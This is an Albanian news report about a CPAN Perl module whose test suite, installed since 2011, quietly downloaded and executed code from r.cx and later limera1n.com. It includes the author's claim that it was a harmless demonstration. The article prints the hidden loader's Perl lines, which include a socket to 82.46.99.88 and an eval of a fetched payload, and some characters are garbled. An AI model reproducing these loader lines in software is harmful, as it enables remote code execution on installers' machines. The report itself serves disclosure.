Në paketën Perl të shpërndarë përmes katalogut CPAN , e cila është krijuar për të ngarkuar automatikisht modulet CPAN në fluturim, kod dëmtues. Një përfshirje malinje u në kodin e testit , i cili është në dispozicion që nga viti 2011.
ĂshtĂ« e rĂ«ndĂ«sishme tĂ« theksohet se pyetjet nĂ« lidhje me ngarkimin e kodit tĂ« dyshimtĂ« kanĂ« dalĂ« edhe nĂ« vitin 2016.
Aktiviteti malinj përfshin përpjekjen për të ngarkuar dhe ekzekutuar kod nga një server i jashtëm (http://r.cx:1/) gjatë ekzekutimit të një grupi testimi, i cili nisi gjatë instalimit të modulit. Supozohet se kodi inicial i ngarkuar nga serveri i jashtëm nuk ishte dëmtues, por tani kërkesa ri-drejtohet në domenin ww.limera1n.com, i cili jep pjesën e tij të kodit për ekzekutim.
Për organizimin e ngarkesës, në skedarin përdoret kodi i mëposhtëm:
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
Kodi i dhënë rezulton në ekzekutimin e skriptit , përmbajtja e të cilit reduktohet në rreshtin:
use lib do{eval&&botstrap(«RCX»)if$b=new IO::Socket::INET 82.46.99.88.â:1âł};
Ky skript ngarkon përmes shërbimit nga një host i jashtëm r.cx (kodet simbolike 82.46.99.88 korrespondrojnë me tekstin «R.cX») dhe e ekzekuton atë në bllokun eval.
$ perl -MIO::Socket -eâ$b=new IO::Socket::INET 82.46.99.88.â:1âł; print ;â
eval unpack u=>q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DEâŠ.}
Pas shkarkimit, rezulton se ekzekutohet: :
print{$b=new IO::Socket::INET»ww.limera1n.com:80âł}»GET /iJailBreak
«;evalor return warn$@while$b;1
Aktualisht, paketa e problemit është larguar nga depoja (Perl Authors Upload Server), dhe llogaria e autorit të modulit është bllokuar. Megjithatë, moduli mbetet në arkivën MetaCPAN dhe mund të instalohet direkt nga MetaCPAN me disa mjete, të tilla si cpanminus. , që paketa nuk ishte shpërndarë gjerësisht.
ĂshtĂ« e habitshme se nĂ« diskutim edhe autori i modulit, i cili e demantoi informacionin se kodi i dĂ«mtueshĂ«m ishte futur pas hackimit tĂ« faqeve tĂ« tij «r.cx» dhe shpjegoi se ai thjesht po argĂ«tohej, ndĂ«rsa perlobfuscator.com nuk e pĂ«rdori pĂ«r tĂ« fshehur diçka, por pĂ«r tĂ« shkurtuar madhĂ«sinĂ« e kodit dhe pĂ«r tĂ« lehtĂ«suar kopjimin e tij pĂ«rmes mbushjes sĂ« mesazheve. Zgjedhja e emrit tĂ« funksionit «botstrap» Ă«shtĂ« shpjeguar me faktin se kjo fjalĂ« «tingĂ«llon si bot dhe Ă«shtĂ« mĂ« e shkurtĂ«r se bootstrap». Autori i modulit gjithashtu e siguroi se manipulimet e zbuluara nuk kryejnĂ« veprime tĂ« dĂ«mshme, por thjesht demonstrojnĂ« ngarkimin dhe ekzekutimin e kodit pĂ«rmes TCP.
Burimi: opennet.ru
